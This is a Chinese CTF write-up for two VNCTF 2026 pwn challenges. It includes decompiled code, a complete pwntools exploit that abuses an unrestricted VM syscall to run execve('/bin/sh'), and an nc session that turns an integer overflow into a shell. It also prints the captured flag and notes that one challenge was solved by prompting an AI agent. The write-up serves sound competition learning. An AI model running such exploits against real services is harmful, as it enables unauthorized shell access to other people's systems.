0x00
寒假躺了好久,看看题稍微复健一下
0x01 vm-syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| __int64 __fastcall main(int a1, char **a2, char **a3) { void **ptr;
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); ptr = malloc(0x48uLL); memset(ptr, 0, 0x48uLL); ptr = (void **)ptr; *ptr = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); puts("Enter your code:"); read(0, *(void **)ptr, 0x200uLL); mprotect(*(void **)ptr, 0x1000uLL, 1); sub_1DAF(); free(ptr); return 0LL; }
__int64 sub_1DAF() { __int64 n0x200; unsigned __int8 v1;
while ( 1 ) { n0x200 = *((unsigned int *)ptr + 2); if ( (unsigned int)n0x200 > 0x200 ) break; v1 = sub_1200(); if ( (unsigned int)sub_126B(v1) == -1 ) { puts("Invalid choice!"); exit(0); } switch ( v1 ) { case 0u: puts("Blessed are the people who have nothing, for they shall have everything!"); break; case 1u: sub_14E4(); break; case 2u: sub_160B(); break; case 3u: sub_196B(); break; case 4u: sub_1D78((__int64 *)ptr + 2); break; default: puts("Invalid choice!"); exit(0); } } return n0x200; }
|
一个还算简单的 vm,四种指令,类型分别为双寄存器,双寄存器加立即数,三寄存器加立即数以及syscall。重点看一下这里syscall选项函数的汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| .text:0000000000001D78 ; __int64 __fastcall sub_1D78(__int64 *) .text:0000000000001D78 sub_1D78 proc near ; CODE XREF: sub_1DAF+AC↓p .text:0000000000001D78 .text:0000000000001D78 var_18 = qword ptr -18h .text:0000000000001D78 .text:0000000000001D78 ; __unwind { .text:0000000000001D78 push rbp .text:0000000000001D79 mov rbp, rsp .text:0000000000001D7C push r12 .text:0000000000001D7E push rbx .text:0000000000001D7F mov [rbp+var_18], rdi .text:0000000000001D83 mov r12, [rbp+var_18] .text:0000000000001D87 push rbx .text:0000000000001D88 xor r8, r8 .text:0000000000001D8B xor r9, r9 .text:0000000000001D8E xor r10, r10 .text:0000000000001D91 mov rbx, r12 .text:0000000000001D94 mov rax, [rbx] .text:0000000000001D97 mov rdi, [rbx+8] .text:0000000000001D9B mov rsi, [rbx+10h] .text:0000000000001D9F mov rdx, [rbx+18h] .text:0000000000001DA3 syscall ; LINUX - .text:0000000000001DA5 mov [rbx], rax .text:0000000000001DA8 pop rbx .text:0000000000001DA9 nop .text:0000000000001DAA pop rbx .text:0000000000001DAB pop r12 .text:0000000000001DAD pop rbp .text:0000000000001DAE retn .text:0000000000001DAE ; } // starts at 1D78 .text:0000000000001DAE sub_1D78 endp
|
这个函数参数是这个vm的虚拟寄存器起始地址(共有四个虚拟寄存器),稍微看一眼就知道reg0控制rax,后续reg1-3控制rdi,rsi,rdx。同时syscall结束后会将rax再放回reg0。
PIE开启,没有任何已知的内存地址,但是syscall没有任何限制。于是利用brk(0)返回值在rax获取一个靠近堆区的内存地址,然后写/bin/sh执行execve("/bin/sh", 0, 0)即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "114.66.24.228" port = 31211 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x1da5) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
def reset(): code = b'\00' return code
def syscall(): code = b'\x04' return code
def mov(r1, r2): code = b'\x01' + p8(r1) + p8(r2) + b'\x10' return code
def xchg(r1, r2): code = b'\x01' + p8(r1) + p8(r2) + b'\x30' return code
def add_imm_1(r1, r2, imm): code = b'\x02' + p8(r1) + p8(r2) + b'\x01' + p8(imm) + b'\x10' return code
def add_imm_4(r1, r2, imm): code = b'\x02' + p8(r1) + p8(r2) + b'\x04' + p32(imm)[::-1] + b'\x10' return code
def sub_imm_1(r1, r2, imm): code = b'\x02' + p8(r1) + p8(r2) + b'\x01' + p8(imm) + b'\x20' return code
def sub_imm_4(r1, r2, imm): code = b'\x02' + p8(r1) + p8(r2) + b'\x04' + p32(imm)[::-1] + b'\x20' return code
def add_reg(r1, r2, r3): code = b'\x03' + p8(r1) + p8(r2) + p8(r3) + b'\x10' return code
def sub_reg(r1, r2, r3): code = b'\x03' + p8(r1) + p8(r2) + p8(r3) + b'\x20' return code
def set_reg(idx, imm): code = sub_reg(idx, idx, idx) code += add_imm_4(idx, idx, imm) return code
io.recvuntil(b':') code = set_reg(0, 12) code += set_reg(1, 0) code += syscall() code += mov(2, 0) code += sub_imm_4(2, 2, 0x10000) code += set_reg(0, 0) code += set_reg(1, 0) code += set_reg(3, 0x8) code += syscall() code += set_reg(0, 0x3b) code += mov(1, 2) code += set_reg(2, 0) code += set_reg(3, 0) code += syscall() io.send(code) sleep(1) io.send(b'/bin/sh\x00') io.interactive()
|
0x02 eat some ai
没有附件,nc 后是类似一个商店的交互 可以在商人买东西 简单Fuzz后能得到它存在32位的整形溢出 输入一个数num
Cost = num * 3000
经过LLM计算 1431323 是一个不错的数据 它能让我们获得100w+的积分,接下来再继续战斗就能直接 getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| ── r3t2@LAPTOP-6JKPOVPE:~/ctf/vnctf2026/vmsyscall │ 18:06:04 ── $ nc 114.66.24.228 31870 >>> 胜率计算规则 <<< 基础胜率: 30% 属性克制: +40% (具体克制关系请自行查阅 Wiki: https://wiki.biligame.com/nightreign/) 稀有度加成: 稀有+10%, 史诗+20%, 传说+30% 历战王惩罚: -20% 连胜加成: 每连胜一场,下场胜利额外获得 (连胜数 * 100) 积分 ==================== === 艾尔登法环:黑夜君临 (深夜模式) === 加载存档... 当前深度: 0 (积分: 3300/1000000, 当前连胜: 2, 轮数: 3/10) 遭遇 领主: 历战王 黑夜之魔 利普拉 描述: 模仿人类行为的诡异山羊头生物──它驱使着可疑的炼金术,利用虚假的黄金让人丧失心智,陷入疯狂。 你获得了武器: 打刀 描述: 芦苇之地的刀。 造成属性: 物理 稀有度: 普通
>>> 阴影中走出一个佝偻的身影 <<< [流浪商人] 我这里有一些来自交界地的护符,或许能帮你活下来... 1. 红琥珀链坠 2. 黄金树的恩惠 3. 蓝羽七刃剑 4. 米莉森的义手 售价: 3000 积分/个 (效果可叠加) 你要购买几个?(输入 0 离开): 1431323 [系统] 总计需要支付: -998296 积分 [流浪商人] 很好... 拿去吧... 获得护符!胜率大幅提升! 当前剩余积分: 1001596 预期获得积分: 2500 是否开始战斗?(输入 '战斗' 继续,或其他任意键退出) 战斗 战斗开始... >>> 胜利!击败了 历战王 黑夜之魔 利普拉 <<< 获得 2500 基础积分! 达成 3 连胜!额外获得 300 积分! 存档已保存。 恭喜你,渡夜者!你已达完全掌握黑夜卢恩的力量。 whoami /bin/sh: 1: whoami: not found ls save.json
|
比较有趣的点是题目远程要求使用prompt让ai agent来操作并获取 flag,研究一下prompt即可,远程 flag 在根目录下
#VNCTF{Ni9HT_Re1gN_m@$73R_9999_85d022f7-a1aa-47a9-85ea-9d827c9a9668}